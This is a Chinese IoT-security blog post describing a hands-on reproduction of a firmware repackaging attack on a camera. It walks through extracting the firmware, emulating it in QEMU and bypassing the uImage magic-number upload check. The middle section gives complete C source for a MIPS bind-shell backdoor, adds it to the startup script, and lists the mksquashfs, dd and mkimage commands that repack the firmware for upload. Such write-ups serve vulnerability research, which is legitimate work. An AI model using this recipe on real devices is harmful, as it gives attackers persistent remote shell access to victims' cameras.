前两天w22师傅带来一个摄像头,在师傅的指导下复现了这个固件重打包漏洞,简单记录一下,又学到了很多不可描述的知识!
!!文末另有福利哦!!
转发本文到朋友圈、参与抽奖获取同款摄像头
首先拿到摄像头后因为没有固件,于是这里直接使用编程器读取Flash芯片的内容[略],接下来就是对固件进行分析、仿真、校验分析及绕过
1 文件系统提取
首先使用Binwalk提取固件,使用如下命令提取,-M参数的意思是以递归扫描提取文件,-e则为自动提取已知文件
Binwalk -Me
从上图中可以看出文件系统类型为squashfs,压缩格式为xz
可以看到0.squashfs的大小为2886212字节
2 固件分析
首先分析一下/etc/init.d/rcS(一般rcS为启动程序)
可以看到他启动了一个goahead服务,并且挂载mtd后,启动了/mnt/mtd/startap
首先分析goahead,使用checksec命令或者file命令,可以看出是mips小端序
分析goahead程序,发现http目录的位置在/etc/webs中
在目录中发现一个可以上传固件升级的地方,他会把我们上传的固件交给cgi去处理:
尝试访问一下该目录,发现为固件上传目录:
但如果随意上传文件,会提示如下错误:
3 环境搭建
因为提取出固件了,所以我们这使用QEMU仿真运行,首先我们使用qemu启动Debian系统,再使用chroot命令切换到摄像头固件根目录:
sudo qemu-system-mipsel -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s
内核及镜像下载地址:
https://people.debian.org/~aurel32/qemu/mipsel/
挂载dev和proc,并chroot进固件中
启动gohead
访问刚刚我们发现的目录
4 固件上传校验分析及绕过
打开IDA,分析gohead,搜索Bad Magic Number字符串
在校验的过程中,它会获取一个地方取4个字节(Dword)与x27x05x19x56做一个字符串比较,而0x27051956正是uboot文件头的Magicnumber,与uboot的对比结构体如下
最后还需要将文件名修改为appfw
5 制作后门
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shelln";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
这里我们使用OsandaMalith的后门,并使用MIPS的GCC进行交叉编译「建议使用buildroot」
将其移动到固件的/bin目录中
最后在/etc/init.d/rcS里的export之后加上启动脚本,如下所示:
在QEMU中测试后门是否能够正常使用:
首先是使用mksquashfs将根目录打包为squashfs文件系统
wget https://www.squashfs-lzma.org/downloads/squashfs4.2.tar.gz
在默认配置的情况下,squashfs并不支持xz,这里我们修改一下Makefile使其支持XZ格式
另外还需要下载一个支持包并安装,地址如下:
wget https://tukaani.org/xz/xz-5.2.5.tar.gz
./configure
make && sudo make install
安装squashfs-tools
最后使用如下命令打包文件系统:
mksquashfs squashfs-root/ my.bin -comp xz -b 256k
其中参数解析如下:
comp 参数可以指定压缩的格式
-b 可以指定 文件块大小(最小128K) 这里指定的数值越小, 压缩出来的文件越大
因为文件大小和之前的不相同,这里使用00进行填充
dd if=my.bin of=my.bin.ov bs=2949120 conv=sync
因为我们还缺少一个uImage头,所以还需要mkimage工具帮助我们生成uimage头
安装:sudo apt-get install u-boot-tools -y
生成uImage
mkimage -A MIPS -O linux -T kernel -C lzma -a 0x80000000 -e 0x803B8000 -n "rootfs" -d my.bin uImage
但是当尝试升级的时候依旧提示:
猜测可能是load address和entry point地址错误,通过串口调试,可以得到加载内核时的load address 和 entry address,然后使用mkimage重新生成固件
mkimage -A MIPS -O linux -T kernel -C lzma -a 0x80010000 -e 0x803a3f90 -n "rootfs" -d my.bin uImage
7 总结
感谢w22师傅的耐心指导,在复现该漏洞时,主要难点在于要分析出这是uImage头校验,以及在打包uImage时的load addr和entry point地址
可以看到我们在使用qemu仿真MIPS摄像头时,需要输入很长的命令,并每次都配置挂载点、IP等等,这里推荐一个docker版的qemu:
欢迎star:
https://github.com/yywz1999/myQemu
请于2021.6.25日前转发本推文至朋友圈(凭转发截图兑奖,开奖前删除无效),点击下方卡片进行抽奖
原文始发于微信公众号(物联网IoT安全):复现|摄像头固件重打包